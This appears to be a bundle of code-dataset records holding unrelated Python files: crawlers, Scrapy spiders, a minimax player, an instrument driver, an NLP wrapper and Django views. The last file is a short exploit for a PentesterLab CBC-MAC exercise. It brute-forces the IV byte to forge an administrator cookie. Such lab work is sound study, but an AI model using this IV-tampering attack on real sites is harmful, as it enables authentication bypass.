-*-\r\n\"\"\"\r\nCreated on Wed Nov 6 14:50:09 2019\r\n\r\n@author: saranya\r\n\"\"\"\r\n\r\nfrom utils.utils import read_arr\r\n\r\narr = read_arr()\r\n\r\nfor i in arr:\r\n if i%2 == 0:\r\n print ('even')\r\n \r\n else:\r\n print ('odd')\r\n","sub_path":"even and odd nos.py","file_name":"even and odd nos.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"174773748","text":"import urllib.request as url\nfrom bs4 import BeautifulSoup as bs\n\n\n# add link into the new_link stack\ndef fetch_links(address, new, old, stack_size):\n\n print(address)\n\n response = url.urlopen(address)\n if response.getcode() != 200:\n print('bad url')\n return\n content = response.read()\n\n soup = bs(content, 'html.parser')\n links = soup.find_all('a')\n\n for l in links:\n try:\n link = l['href']\n if link[:5] == 'http:':\n if link not in old:\n new.add(link)\n if len(new) >= stack_size:\n return\n except:\n print(\"No href in a\")\n\n\ndef crawl(initial_link, iter_num, stack_size):\n old_url = set()\n new_url = set()\n\n new_url.add(initial_link)\n while iter_num > 0:\n link = new_url.pop()\n old_url.add(link)\n fetch_links(link, new_url, old_url, stack_size)\n iter_num -= 1\n\n print('size of new stack:' + str(len(new_url)) + ' size of old stack:' + str(len(old_url)))\n\n\ncrawl('http://www.google.com', 10, 7)\n","sub_path":"code/MODULE/webcrawler/crawl_test1.py","file_name":"crawl_test1.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"574804832","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Sep 19 16:07:37 2020\n\n@author: monish mukherjee\n\"\"\"\n\nimport glmanip\nimport pandas as pd\nimport os\nimport json\n\nif __name__ == '__main__':\n \n feeder_name = '3HT12F7'\n \n############################################################################### \n################# Creating JSON for feeder Extentions ########################\n############################################################################### \n feeder_mods = pd.read_csv(feeder_name+\"_modifications.csv\")\n mod_Property = {}\n for b in feeder_mods.index:\n data = feeder_mods.loc[b]\n for key in data.keys():\n if 'name' in key:\n object_name = data[key]\n mod_Property[object_name] = {}\n else:\n mod_Property[object_name][key] = data[key]\n \n model_feeder_ext = {} \n model_feeder_ext['underground_line'] = {}\n model_feeder_ext['underground_line'] = mod_Property \n \n \n############################################################################### \n################# Creating JSON for New feeder Assets ########################\n############################################################################### \n \n path_parent = os.path.dirname(os.getcwd())\n os.chdir(path_parent)\n glm_dir = os.getcwd()\n dir_for_glm = glm_dir + '\\\\' + 'CEF2TE.glm'\n \n glm_lines = glmanip.read(dir_for_glm,glm_dir,buf=[])\n [model,clock,directives,modules,classes] = glmanip.parse(glm_lines) \n \n model_json = {}\n\n model_json['meter'] = model['meter']\n model_json['solar'] = model['solar']\n model_json['climate'] = model['climate']\n model_json['inverter'] = model['inverter']\n# model_json['battery'] = model['battery']\n# model_json['transformer'] = model['transformer']\n# model_json['transformer_configuration'] = model['transformer_configuration']\n \n \n Json_file = json.dumps(model_feeder_ext, sort_keys=True, indent=4, separators=(',', ': ')) \n fp = open(feeder_name+\"_add_extensions.json\", 'w')\n print(Json_file, file=fp)\n fp.close() \n \n \n Json_file = json.dumps(model_json, sort_keys=True, indent=4, separators=(',', ': ')) \n fp = open(feeder_name+\"_add_assets.json\", 'w')\n print(Json_file, file=fp)\n fp.close()\n \n ","sub_path":"Clean_glm/creating_modification_jsons.py","file_name":"creating_modification_jsons.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"496800432","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport requests\nimport pymongo\nfrom bs4 import BeautifulSoup\nimport os\n\nconnection = pymongo.MongoClient('127.0.0.1',27017)\ndb = connection['wallpaper']\n\nwallhaven = db['wallhaven']\nalphacoders = db['alphacoders']\n\nclass WallhavenSpider(scrapy.Spider):\n name = 'wallhaven'\n # allowed_domains = ['wallhaven.cc']\n start_urls = ['https://wallhalla.com/best']\n filename = 'D:/Images/wallhaven/'\n\n def start_requests(self):\n for page in range(1, 476):\n yield scrapy.Request('https://wallhalla.com/best&page=%d' % page)\n # yield scrapy.Request('https://wall.alphacoders.com/big.php?i=687770', callback=self.download_alphacoders)\n\n def parse(self, response):\n data_ids = response.css('div.thumb-wrap::attr(data-id)').extract()\n data_sources = response.css('div.thumb-wrap::attr(data-sources)').extract()\n data_sources = list(map(lambda x: x.split(',')[0], data_sources))\n\n wall_urls = list(map(lambda x: 'https://wallhalla.com/out/%s_%s' % (x[0], x[1]), zip(data_ids, data_sources)))\n \n for wall_url in wall_urls:\n print('\\t%s' % wall_url)\n\n response = requests.get(wall_url) # get the redirect url(real url)\n if response.status_code == 200:\n wall_url = response.url\n \n print('\\t%s' % wall_url)\n \n if 'wallhaven' in wall_url:\n wallhaven.insert({'wall_url': wall_url})\n yield scrapy.Request(wall_url, callback=self.download_wallhaven)\n # print('\\tdownloading...')\n # self.download_wallhaven(wall_url)\n \n elif 'alphacoders' in wall_url:\n alphacoders.insert({'wall_url': wall_url})\n yield scrapy.Request(wall_url, callback=self.download_alphacoders)\n # print('\\tdownloading...')\n # self.download_alphacoders(wall_url)\n\n def download_wallhaven(self, response):\n try:\n image_url = response.css('#wallpaper::attr(src)').extract()[0]\n print('\\t%s' % image_url)\n rs = requests.get('https:' + image_url)\n\n if not os.path.exists(self.filename + image_url.split('/')[-1]):\n with open(self.filename + image_url.split('/')[-1], 'wb') as fr:\n print('\\t正在下载...')\n fr.write(rs.content)\n print('\\t下载完成!')\n else:\n print('\\t文件已存在...')\n except:\n print('\\tsomething goes wrong when downloading!')\n \n def download_alphacoders(self, response):\n try:\n image_url = response.css('#container_page > div:nth-child(4) > a::attr(href)').extract()[0]\n print('\\t%s' % image_url)\n rs = requests.get(image_url)\n if not os.path.exists(self.filename + image_url.split('/')[-1]):\n with open(self.filename + image_url.split('/')[-1], 'wb') as fr:\n print('\\t正在下载...')\n fr.write(rs.content)\n print('\\t下载完成!')\n else:\n print('\\t文件已存在...')\n except Exception as e:\n print('\\tsomething goes wrong when downloading!', str(e))\n\n # def download_wallhaven(self, wall_url):\n # try:\n # # image_url = response.css('#wallpaper::attr(src)').extract()[0]\n # response = requests.get(wall_url)\n # html = response.text\n # bs = BeautifulSoup(html, 'html.parser')\n\n # image_url = bs.find_all('img', id='wallpaper')[0]['src']\n\n # print('\\t%s' % image_url)\n # rs = requests.get('https:' + image_url)\n\n # with open(self.filename + image_url[-10:], 'wb') as fr:\n # fr.write(rs.content)\n # print('\\tdownloaded...')\n # except:\n # print('\\tsomething goes wrong when downloading!')\n \n # def download_alphacoders(self, wall_url):\n # try:\n # # image_url = response.css('#container_page > div:nth-child(4) > a::attr(href)').extract()[0]\n # response = requests.get(wall_url)\n # html = response.text\n # bs = BeautifulSoup(html, 'html.parser')\n\n # image_url = bs.find_all('div', id='container_page')[0].find_all('div', class_='center')[1].find_all('a')[0]['href']\n\n # print('\\t%s' % image_url)\n # rs = requests.get(image_url)\n \n # with open(self.filename + image_url[-10:], 'wb') as fr:\n # fr.write(rs.content)\n # print('\\tdownloaded...')\n # except:\n # print('\\tsomething goes wrong when downloading!')","sub_path":"ScrapyLearn/WallpaperWallhaven/WallpaperWallhaven/spiders/wallhaven.py","file_name":"wallhaven.py","file_ext":"py","file_size_in_byte":4791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"517359936","text":"import random\n\nfrom ENV import Game\n\nDP = {}\n\n\ndef best(board, curplayer):\n\twinner = board.check_win()\n\tif winner == curplayer:\n\t\treturn {\"score\": +1, \"actions\": None}\n\telif winner == Game.switch_player(curplayer):\n\t\treturn {\"score\": -1, \"actions\": None}\n\telif winner == 0:\n\t\treturn {\"score\": 0, \"actions\": None}\n\n\tcode = (tuple(map(tuple, board.get_board_status())), curplayer)\n\tif code in DP:\n\t\treturn DP[code]\n\n\tempty_squares = board.get_empty_squares()\n\trandom.shuffle(empty_squares)\n\tbest_choices = {\"score\": -999, \"actions\": None}\n\tfor choice in empty_squares:\n\n\t\ttmp_board = board.clone()\n\t\tchoice_r, choice_c = choice\n\t\ttmp_board.move(choice_r, choice_c, curplayer)\n\t\tscore = -1 * best(tmp_board, Game.switch_player(curplayer))[\"score\"]\n\t\tif score > best_choices[\"score\"]:\n\t\t\tbest_choices = {\"score\": score, \"actions\": [choice]}\n\t\telif score == best_choices[\"score\"]:\n\t\t\tbest_choices[\"actions\"].append(choice)\n\n\tDP[code] = best_choices\n\treturn DP[code]\n\n\ndef player(board, curplayer):\n\treturn random.choice(best(board, curplayer)[\"actions\"])\n","sub_path":"MinMaxPlayer.py","file_name":"MinMaxPlayer.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"509771601","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 18 14:32:54 2011\n\n@author: Dai\n\"\"\"\nfrom slab.instruments import SerialInstrument, SocketInstrument\nimport time\n\nclass SpectrumAnalyzer(SerialInstrument, SocketInstrument):\n #general design parameters\n #LO offset is 10.55MHz\n #LO power is 10dBm\n lo_power = 10\n #bandwidth is 180kHz\n bandwidth=180e3 \n #calibration information\n #calibration_data = None\n #min_power = None\n #step = 10\n \n def __init__(self, name='spec_analyzer', protocol='socket',\n address='', port=23, enabled=True, timeout=.1, recv_length=1024, \n query_sleep=0.005, lo_power=10, lo_offset=10.55e6, baudrate=115200):\n\n self.lo_offset = lo_offset\n self.lo_power = lo_power\n \n if (address.count('.') == 3):\n #the address is in an IP address format\n self.protocol = 'socket'\n else:\n #otherwise we treat the address as port\n self.protocol = 'serial'\n if address != '':\n port = int(address)\n \n if self.protocol == 'serial':\n SerialInstrument.__init__(self, name, port, enabled, \n timeout, recv_length, baudrate=baudrate, querysleep=query_sleep)\n self.term_char = ''\n time.sleep(2)\n print(self.read())\n elif self.protocol == 'socket':\n if ':' in address:\n SocketInstrument.__init__(self, name, address, enabled, \n timeout, recv_length)\n else:\n SocketInstrument.__init__(self, name, address+':'+str(port), enabled, \n timeout, recv_length)\n self.recv_length = recv_length\n self.term_char = ''\n self.query_sleep = query_sleep\n else:\n print('The protocol requested is not valid.') \n \n def read(self):\n if self.protocol == 'serial':\n return SerialInstrument.read(self)\n if self.protocol == 'socket':\n return SocketInstrument.read(self)\n \n def write(self, s):\n if self.protocol == 'serial':\n SerialInstrument.write(self, s)\n if self.protocol == 'socket':\n SocketInstrument.write(self, s)\n \n def __del__(self):\n if self.protocol == 'serial':\n SerialInstrument.__del__(self)\n if self.protocol == 'socket':\n self.write('END')\n SocketInstrument.__del__(self)\n \n def get_power(self):\n return float(self.query('READ'))\n \n def get_avg_power(self):\n self.write('READ_AVG')\n #leaves extra time for average power reading\n time.sleep(0.15)\n\n return float(self.read())\n \n\nif __name__ == '__main__':\n #from instruments import E8257D\n \n sa = SpectrumAnalyzer(protocol='serial', port=2)\n #rf = E8257D(address='rfgen1.circuitqed.com')\n #lo = E8257D(address='rfgen2.circuitqed.com')\n #rf.set_output(False)\n #lo.set_output(False)\n #rf.set_frequency(6e9)\n #lo.set_frequency(6e9+sa.lo_offset)\n #lo.set_power(10)\n #rf.set_power(-10)\n #lo.set_output()\n #rf.set_output()\n \n print(sa.get_power())\n print(sa.get_avg_power())","sub_path":"slab/instruments/spec_analyzer/spectrum_analyzer.py","file_name":"spectrum_analyzer.py","file_ext":"py","file_size_in_byte":3321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"548351425","text":"# -*- coding: utf-8 -*-\nimport json\nimport re\nimport scrapy\nfrom locations.items import GeojsonPointItem\n\n\nclass AutoZoneSpider(scrapy.Spider):\n\n name = \"auto_zone\"\n item_attributes = { 'brand': \"AutoZone\", 'brand_wikidata': \"Q4826087\" }\n allowed_domains = [\"www.autozone.com\"]\n download_delay = 0.2\n start_urls = (\n 'https://www.autozone.com/locations/',\n )\n\n def normalize_hours(self, hours):\n\n all_days = []\n reversed_hours = {}\n\n for hour in json.loads(hours):\n all_intervals = []\n short_day = hour['day'].title()[:2]\n for interval in hour['intervals']:\n start = str(interval['start'])\n end = str(interval['end'])\n from_hr = \"{}:{}\".format(start[:len(start)-2],\n start[len(start)-2:]\n )\n to_hr = \"{}:{}\".format(end[:len(end)-2],\n end[len(end)-2:]\n )\n epoch = '{}-{}'.format(from_hr, to_hr)\n all_intervals.append(epoch)\n reversed_hours.setdefault(', '.join(all_intervals), [])\n reversed_hours[epoch].append(short_day)\n\n if len(reversed_hours) == 1 and list(reversed_hours)[0] == '00:00-24:00':\n return '24/7'\n opening_hours = []\n\n for key, value in reversed_hours.items():\n if len(value) == 1:\n opening_hours.append('{} {}'.format(value[0], key))\n else:\n opening_hours.append(\n '{}-{} {}'.format(value[0], value[-1], key))\n return \"; \".join(opening_hours)\n\n def parse_location(self, response):\n opening_hours = response.xpath('//span[@class=\"c-location-hours-today js-location-hours\"]/@data-days').extract_first()\n opening_hours = self.normalize_hours(opening_hours)\n\n props = {\n 'addr_full': response.xpath(\n '//meta[@itemprop=\"streetAddress\"]/@content').extract_first(),\n 'lat': float(response.xpath(\n '//meta[@itemprop=\"latitude\"]/@content').extract_first()),\n 'lon': float(response.xpath(\n '//meta[@itemprop=\"longitude\"]/@content').extract_first()),\n 'city': response.xpath(\n '//span[@class=\"c-address-city\"]/text()').extract_first(),\n 'postcode': response.xpath(\n '//span[@class=\"c-address-postal-code\"]/text()').extract_first(),\n 'state': response.xpath(\n '//abbr[@class=\"c-address-state\"]/text()').extract_first(),\n 'phone': response.xpath(\n '//span[@class=\"c-phone-number-span c-phone-main-number-span\"]/text()').extract_first(),\n 'ref': response.url,\n 'website': response.url,\n 'opening_hours': opening_hours\n }\n return GeojsonPointItem(**props)\n\n def parse_city_stores(self, response):\n locations = response.xpath('//a[@class=\"c-location-grid-item-link\"]/@href').extract()\n\n if not locations:\n yield self.parse_location(response)\n else:\n for location in locations:\n yield scrapy.Request(\n url=response.urljoin(location),\n callback=self.parse_location\n )\n\n def parse_state(self, response):\n for city in response.xpath('//a[@class=\"c-directory-list-content-item-link\"]/@href').extract():\n yield scrapy.Request(\n url=response.urljoin(city),\n callback=self.parse_city_stores\n )\n\n def parse(self, response):\n for state in response.xpath('//a[@class=\"c-directory-list-content-item-link\"]/@href').extract():\n yield scrapy.Request(\n url=response.urljoin(state),\n callback=self.parse_state\n )\n","sub_path":"locations/spiders/autozone.py","file_name":"autozone.py","file_ext":"py","file_size_in_byte":3948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"630082756","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nDemo AMPQ consumer\n\nRead a message from a queue and wait for user confirmation before ACking.\n\nThis is half of a PUB/SUB task queue demo.\n\"\"\"\nimport pika\nfrom termcolor import colored\n\nconn = pika.BlockingConnection(pika.ConnectionParameters())\nchan = conn.channel()\nchan.queue_declare(queue='q1')\n\n# Prevent backlog with asymmetric workloads.\nchan.basic_qos(prefetch_count=1)\n\ndef f(ch, method, props, body):\n print(colored(\" [x] Received message %r\" % body, \"green\"))\n input(colored(\"Press any key to ACK this message => \", \"red\"))\n ch.basic_ack(delivery_tag=method.delivery_tag)\n print(' [x] Message ACKed. Waiting for next message')\n\nprint(\" [x] Server listening on queue 'q1'\")\nchan.basic_consume(f, queue='q1')\nchan.start_consuming()\n","sub_path":"rabbitmq-task-demo/ampq.consume.py","file_name":"ampq.consume.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"210106298","text":"'''\nCreated on Apr 15, 2015\n\n@author: og\n'''\n\nimport os\nfrom stanford_corenlp_pywrapper import sockwrap\nfrom nlp.tokenization import pos_allNouns\n\n#===============================================================================\n# CoreNLP defaults\n#===============================================================================\nCORENLP_HOME = os.path.join(os.getcwd(),'res','corenlp')\nCORENLP_JAR = 'stanford-corenlp-3.5.2.jar'\nCORENLP_MODELS = 'stanford-corenlp-3.5.2-models.jar'\nCORENLP_SOCKET_DOMAIN = 12340\n\n\n# TODO: implement logging!\nclass ParsingToolbox(object):\n '''\n ParsingToolbox for all used NLP tools. Manages tool and model setup.\n '''\n\n # types of NLP representations\n PARSE, POS, NER, COREF, BASEDEP, COLLDEP, COLLDEPCC, UNINLP = 'PARSE','POS','NER','COREF','BASEDEP','COLLDEP','COLLDEPCC','UNINLP'\n \n # representation formats:\n # PARSE: (ROOT(...))\n # POS: [(,)]\n # BASEDEP: [(,,)]\n \n \n def __init__(self, sfnlp_dir=CORENLP_HOME, socket_domain=CORENLP_SOCKET_DOMAIN):\n '''\n Set to your installation of the Stanford NLP tools.\n '''\n self.sfnlpPath = sfnlp_dir # path to Stanford NLP tools installation\n self.socket_domain = socket_domain # starting port number for JVM pipes\n self.jsocket_parse = None # parser\n self.jsocket_pos = None # pos tagger\n \n \n def _getNlpParser_socket(self):\n '''\n Sets up a parsing JVM on port + 1.\n https://github.com/brendano/stanford_corenlp_pywrapper\n '''\n coreNlpPath = os.path.join(self.sfnlpPath, CORENLP_JAR)\n coreModelPath = os.path.join(self.sfnlpPath, CORENLP_MODELS)\n if not self.jsocket_parse: # initialize on demand\n socket = self.socket_domain + 1\n self.jsocket_parse = sockwrap.SockWrap('parse',server_port=socket,corenlp_jars=[coreNlpPath,coreModelPath])\n return self.jsocket_parse\n\n\n def _getPosTagger_socket(self):\n '''\n Sets up a POS tagging JVM on port + 2.\n https://github.com/brendano/stanford_corenlp_pywrapper\n '''\n coreNlpPath = os.path.join(self.sfnlpPath, CORENLP_JAR)\n coreModelPath = os.path.join(self.sfnlpPath, CORENLP_MODELS)\n if not self.jsocket_pos: # initialize on demand\n socket = self.socket_domain + 2\n self.jsocket_pos = sockwrap.SockWrap('pos',server_port=socket,corenlp_jars=[coreNlpPath,coreModelPath])\n return self.jsocket_pos\n \n \n def depParse(self, sentence):\n '''\n Simply parse dependencies of the . \n @return: [(,,)]\n '''\n parsed = self._getNlpParser_socket().parse_doc(sentence)\n return [(d[0],d[1],d[2]) for d in parsed['sentences'][0]['deps_basic']] \n \n \n def posTag(self, sentence):\n '''\n POS tag the . Sets up a JVM socket in pos mode if none running yet.\n @return: [(,)]\n ''' \n parsed = self._getPosTagger_socket().parse_doc(sentence)\n return zip(parsed['sentences'][0]['tokens'], parsed['sentences'][0]['pos'])\n \n \n def nlpParse(self, sentence):\n '''\n PARSE tag the . Sets up a JVM socket in parse mode if none running yet.\n @return: String representation of parse tree like (ROOT(...))\n ''' \n parsed = self._getNlpParser_socket().parse_doc(sentence)\n return str(parsed['sentences'][0]['parse'])\n \n \n def posTag_word(self, word):\n '''\n POS tag the . Sets up a JVM socket in pos mode if none running yet.\n @return: (,)\n ''' \n parsed = self._getPosTagger_socket().parse_doc(word)\n return zip(parsed['sentences'][0]['tokens'], parsed['sentences'][0]['pos'])[0]\n \n \n def getAll_NP(self, sentence):\n '''\n @return: a list of all noun phrases in the given sentence. Uses the POS tagged representation of the sentence for computing.\n '''\n pos_sentence = self.posTag(sentence)\n return pos_allNouns(pos_sentence)\n \n \n ","sub_path":"nlp/corenlp.py","file_name":"corenlp.py","file_ext":"py","file_size_in_byte":4231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"559740704","text":"from tkinter import Tk, Button, Entry\n# Так мы импортируем Функции. Примерно: возьми функции Tk, Button и Entry из библиотеки tkinter\n\n# Создадим функцию на будущее\n# Тут стоит упоминуть, что мы не указываем тип того, что нам следует передавать в качестве аргумента\n# Поэтому будем считать, что нам передаётся то, что мы ожидаем, иначе - выкидываем исключение\ndef increace_value(text_field): # Объявили функцию, принимающую 1 аргумент\n\n if not isinstance(text_field, Entry): # Удостоверимся, что нам передали то, чего мы ждали\n raise Exception('Wrong argument!') # Если нет - прерываем выполнение проги и говорим, что не так\n\n old_value_string = text_field.get() # В переменную считаем значение из переданного аргумента\n # Считанное значение, конечно, имеет тип string\n\n text_field.delete(0, 'end') # Удалим из Entry текст начиная с нулевой позиции и до конца\n\n try: # Попробуем превратить string в int\n old_value_int = int(old_value_string)\n except ValueError: # Если происходит исключение, связанное с превращением, то\n raise Exception('It must be number!') # останавливаем прогу и сообщаем, что не так\n\n new_value = old_value_int + 1 # Создадим новое увеличенное значение\n\n text_field.insert(0, new_value) # Вставим это значение в начало Entry\n\n\nwindow = Tk() # Так мы создали окно (но пока не запустили)\n\nwindow.geometry('200x200') # Зададим ему нужные размеры\n\nbtn = Button(master=window, # Создаём кнопку. master - это родительский объект\n text='Push me!', # text - то, что будет написано на кнопке\n command=lambda: increace_value(ent)) # command - та функция, которая будет выполняться при нажатии\n # Про лямбду - расскажем позже, тут всё не так очевидно\n\nent = Entry(master=window, width=10) # Создаём поле для ввода текста, шириной в 10 символов\n\nbtn.place(x=10, y=10) # Поместим кнопку на её родительский объект (для этого и нужен master)\nent.place(x=10, y=100) # То же сделаем и с полем для ввода текста\n\nwindow.mainloop() # Включаем отображение окна\n","sub_path":"additional/Sample.py","file_name":"Sample.py","file_ext":"py","file_size_in_byte":3261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"74357832","text":"from .forms import ContactForm\nfrom .models import Course\nfrom django.http import HttpResponse\nfrom django.template import loader\nfrom django.shortcuts import render, get_object_or_404\nfrom django.core.mail import send_mail\n\ndef index(request):\n\ttemplate = loader.get_template('courses/index.html')\n\n\tcourses = Course.objects.all()\n\n\tcontext = {\n\t\t'title': 'Courses',\n\t\t'current': 2,\n\t\t'courses': courses,\n\t}\n\n\treturn HttpResponse(template.render(context, request))\n\ndef details(request, slug):\n\ttemplate = loader.get_template('courses/details.html')\n\tcourse = get_object_or_404(Course, slug = slug)\n\tcontext = {}\n\n\tif request.method == 'POST':\n\t\tform = ContactForm(request.POST)\n\n\t\tif form.is_valid():\n\t\t\tcontext['is_valid'] = True\n\t\t\tform.send_mail(course)\n\t\t\tform = ContactForm()\n\telse:\n\t\tform = ContactForm()\n\n\tcontext['form'] = form\n\tcontext['title'] = 'Courses'\n\tcontext['course'] = course\n\tcontext['current'] = 2\n\n\treturn HttpResponse(template.render(context, request))","sub_path":"courses/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"195762187","text":"#Добавьте в файл conftest.py обработчик, который считывает из командной строки параметр language.\n#Реализуйте в файле conftest.py логику запуска браузера с указанным языком пользователя.\n#Браузер должен объявляться в фикстуре browser и передаваться в тесты как параметр.\nimport pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\n\n\nlink = \"http://selenium1py.pythonanywhere.com/catalogue/coders-at-work_207/\"\n\noptions = None\n\n\ndef pytest_addoption(parser):\n parser.addoption('--language', action='store', default='ru', help='Chose language')\n\n\n@pytest.fixture(scope='module')\ndef browser(request):\n lang_user = request.config.getoption('language')\n options = Options()\n options.add_experimental_option('prefs', {'intl.accept_languages': lang_user})\n print('\\nstart Chrome browser...')\n browser = webdriver.Chrome(options=options)\n yield browser\n print('\\nquit Chrome browser...')\n browser.quit()\n\n\n\n\n","sub_path":"module_4/part_1/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"148426693","text":"from django.shortcuts import render,get_object_or_404,redirect\nfrom .forms import AddPostForm,EditPostForm,AddCommentForm,AddReplyForm\nfrom .models import Post,Comment,Vote\nfrom django.contrib import messages\nfrom django.utils.text import slugify\nfrom django.contrib.auth.decorators import login_required\n\ndef all_posts(request):\n posts=Post.objects.all()\n return render(request,'posts/all_posts.html',{'posts':posts})\ndef detail_post(request,year,month,day,slug):\n post=get_object_or_404(Post, create__year=year,create__month=month,\n create__day=day,slug=slug)\n comments=Comment.objects.filter(post=post,is_reply=False)\n reply_form=AddReplyForm()\n can_like=False\n if request.user.is_authenticated :\n if post.user_can_like(request.user):\n can_like=True\n if request.method=='POST':\n form=AddCommentForm(request.POST)\n if form.is_valid():\n new_comment=form.save(commit=False)\n new_comment.post=post\n new_comment.user=request.user\n new_comment.save()\n messages.success(request,'publish comment successfully','success')\n\n else:\n form=AddCommentForm()\n return render(request,'posts/detail_post.html',{'post':post,'comments':comments,'form':form,'reply':reply_form,'can_like':can_like})\n\n@login_required\ndef add_post(request,user_id):\n if request.user.id==user_id:\n if request.method==\"POST\":\n form=AddPostForm(request.POST)\n if form.is_valid():\n new_post=form.save(commit=False)\n new_post.user=request.user\n new_post.slug=slugify(form.cleaned_data['body'][:30],allow_unicode=True)\n new_post.save()\n messages.success(request,'this is post publish successfully','success')\n return redirect('account:user_dashboard',user_id)\n\n else:\n form=AddPostForm()\n return render(request,'posts/add_post.html',{'form':form})\n else:\n return redirect('posts:all_posts')\n\n@login_required\ndef post_delete(request,user_id,post_id):\n if request.user.id == user_id:\n Post.objects.filter(pk=post_id).delete()\n messages.success(request,'your post delete successfully','success')\n return redirect('account:user_dashboard',user_id)\n else:\n return redirect('posts:all_posts')\n@login_required\ndef post_edit(request,user_id,post_id):\n post=get_object_or_404(Post,pk=post_id)\n if request.user.id == user_id:\n if request.method=='POST':\n form=EditPostForm(request.POST,instance=post)\n if form.is_valid():\n ep=form.save(commit=False)\n ep.slug=slugify(form.cleaned_data['body'][:30],allow_unicode=True)\n form.save()\n messages.success(request,'edit post successfully','success')\n return redirect('account:user_dashboard',user_id)\n \n else:\n form=EditPostForm(instance=post)\n return render(request,'posts/edit_post.html',{'form':form})\n \n else:\n return redirect('account:user_dashboard',user_id)\n\n@login_required\ndef add_reply(request,post_id,comment_id):\n post=get_object_or_404(Post , id=post_id)\n comment=get_object_or_404(Comment , pk=comment_id)\n if request.method=='POST':\n form=AddReplyForm(request.POST)\n if form.is_valid():\n reply=form.save(commit=False)\n reply.user=request.user\n reply.post=post\n reply.reply=comment\n reply.is_reply=True\n reply.save()\n messages.success(request,'reply successfully','success')\n return redirect ('posts:detail_post' ,post.create.year, post.create.month, post.create.day , post.slug)\n \n \n\ndef like_post(request,post_id):\n post=get_object_or_404(Post,pk=post_id)\n like=Vote(user=request.user,post=post)\n like.save()\n messages.success(request,\"you like successfully\",'success')\n return redirect ('posts:detail_post' ,post.create.year, post.create.month, post.create.day , post.slug)\n ","sub_path":"A/posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"146978936","text":"import numpy as np\n\nclass bamggeom(object):\n\t\"\"\"\n\tBAMGGEOM class definition\n\n\t Usage:\n\t bamggeom(varargin)\n\t\"\"\"\n\n\tdef __init__(self,*args): # {{{\n\t\tself.Vertices=np.empty((0,3))\n\t\tself.Edges=np.empty((0,3))\n\t\tself.TangentAtEdges=np.empty((0,4))\n\t\tself.Corners=np.empty((0,1))\n\t\tself.RequiredVertices=np.empty((0,1))\n\t\tself.RequiredEdges=np.empty((0,1))\n\t\tself.CrackedEdges=np.empty((0,0))\n\t\tself.SubDomains=np.empty((0,4))\n\n\t\tif not len(args):\n\t\t\t# if no input arguments, create a default object\n\t\t\tpass\n\n\t\telif len(args) == 1:\n\t\t\tobject=args[0]\n\t\t\tfor field in object.iterkeys():\n\t\t\t\tif field in vars(self):\n\t\t\t\t\tsetattr(self,field,object[field])\n\n\t\telse:\n\t\t\traise TypeError(\"bamggeom constructor error message: unknown type of constructor call\")\n\t# }}}\n\tdef __repr__(self): # {{{\n\t\ts =\"class '%s' object '%s' = \\n\" % (type(self),'self')\n\t\ts+=\" Vertices: %s\\n\" % str(self.Vertices)\n\t\ts+=\" Edges: %s\\n\" % str(self.Edges)\n\t\ts+=\" TangentAtEdges: %s\\n\" % str(self.TangentAtEdges)\n\t\ts+=\" Corners: %s\\n\" % str(self.Corners)\n\t\ts+=\" RequiredVertices: %s\\n\" % str(self.RequiredVertices)\n\t\ts+=\" RequiredEdges: %s\\n\" % str(self.RequiredEdges)\n\t\ts+=\" CrackedEdges: %s\\n\" % str(self.CrackedEdges)\n\t\ts+=\" SubDomains: %s\\n\" % str(self.SubDomains)\n\t\treturn s\n\t# }}}\n","sub_path":"issm/bamggeom.py","file_name":"bamggeom.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"68485520","text":"# https://pentesterlab.com/exercises/cbc-mac_ii\n\nimport requests\nimport base64, urllib\n\nurl = 'http://ptl-e58b8d60-f240d82c.libcurl.so/index.php'\ncookie = b'YWRtaW5pc3RyYXRvci0tzyGZZh3nbb0='\niv= b'oyr25rvLdfk='\n\ncookie_decode = base64.decodebytes(cookie)\niv_decode = base64.decodebytes(iv)\n\narr = bytearray(cookie_decode)\narr2 = bytearray(iv_decode)\n\n\ndef cook_cookie(cook, i):\n cook[0] = i\n\n result = base64.encodebytes(cook)[:-1]\n\n return result\n\nif __name__ == '__main__':\n for i in range(1,255):\n c = cook_cookie(arr2, i)\n r = requests.get(url, cookies=dict(auth=urllib.parse.quote(cookie), iv=urllib.parse.quote(c)))\n\n\n print(i, len(r.text))\n\n if len(r.text) != 1450:\n print(r.text)\n 